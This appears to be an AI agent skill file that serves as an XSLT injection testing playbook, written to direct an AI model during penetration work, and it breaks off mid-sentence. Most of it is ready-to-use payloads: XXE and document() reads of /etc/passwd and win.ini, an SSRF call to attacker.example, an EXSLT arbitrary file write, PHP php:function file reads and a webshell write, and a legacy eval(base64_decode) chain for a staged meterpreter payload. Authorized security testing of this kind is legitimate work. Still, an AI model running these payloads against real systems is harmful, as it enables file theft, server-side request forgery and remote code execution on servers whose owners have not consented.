/xslt-injection

name: xslt-injection
description: >-
  XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.

SKILL: XSLT Injection — Testing Playbook

> **AI LOAD INSTRUCTION**: XSLT injection occurs when **attacker-influenced XSLT** is compiled/executed server-side. Map the **processor family** first (Java/.NET/PHP/libxslt). Then chain **document()**, **external entities**, **EXSLT**, or **embedded script/extension functions** per platform. **Authorized testing only**; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load `xxe-xml-external-entity`; if you care about outbound `document(http:...)` requests, cross-load `ssrf-server-side-request-forgery`.

---

0. QUICK START

1. **Find sinks**: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP stylesheets, report generators, XML→HTML converters. 2. **Probe reflection**: inject unique namespace or `xsl:value-of select="'marker'"` — if output changes, execution likely. 3. **Fingerprint** processor (§1). 4. **Escalate** by family: **document()** / **XXE** (§2–3), **EXSLT write** (§4), **PHP** (§5), **Java** (§6), **.NET** (§7).

**Quick probe** (harmless marker):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

---

1. VENDOR DETECTION

Use standard **system-property** reads inside expressions:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

**Typical fingerprints** (examples, not exhaustive):

| Signal | Possible engine | |--------|------------------| | `Apache Software Foundation` / Xalan markers | Xalan (Java) | | `Saxonica` / Saxon URI hints | Saxon | | `libxslt` / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) | | Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack |

Use results to select §5–§7 paths.

---

2. EXTERNAL ENTITY (XXE VIA XSLT)

XSLT 1.0 allows **DTD-based entities** in the stylesheet or source when the parser permits DTDs:

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

**Note**: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).

---

3. FILE READ VIA `document()`

`document()` loads another XML document into a node-set; local files often parse as XML (noisy) but **errors and partial reads** may still leak.

**Unix example**:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

**Windows example**:

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

**SSRF / out-of-band**:

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

Chain with **error-based** or **timing** observations if inline data does not return to the client.

---

4. FILE WRITE VIA EXSLT (`exslt:document`)

When **EXSLT common** extension is enabled:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

**Impact**: arbitrary file write where path permissions allow — often **RCE** via webroot, cron paths, or inclusion points.

---

5. RCE VIA PHP (`php:function`)

Requires PHP XSLT with **`registerPHPFunctions()`**-style exposure (application misconfiguration). Namespace:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

**Directory listing**:

<xsl:value-of select="php:function('scandir','.')"/>

**Dangerous patterns** (historical abuses — verify only in lab):

• `php:function('assert', string($payload))` — environment-dependent, often deprecated/removed; chained with `include`/`require` in old apps.
• `php:function('file_put_contents','/var/www/shell.php','<?php ...')` — **webshell write** when callable is whitelisted recklessly.
• `preg_replace` with **`/e`** modifier (legacy PHP) — the replacement string is **evaluated as PHP**; metasploit-style chains often wrapped **base64_decode** of a blob to smuggle a **meterpreter** (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.

**Legacy PHP equivalent** (illustrates the `/e` + base64 pattern — lab only):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

Surface from XSLT only if `php:function` exposes `preg_replace` to user stylesheets (rare + critical misconfiguration).

**Tester note**: modern PHP hardening often **blocks** these; absence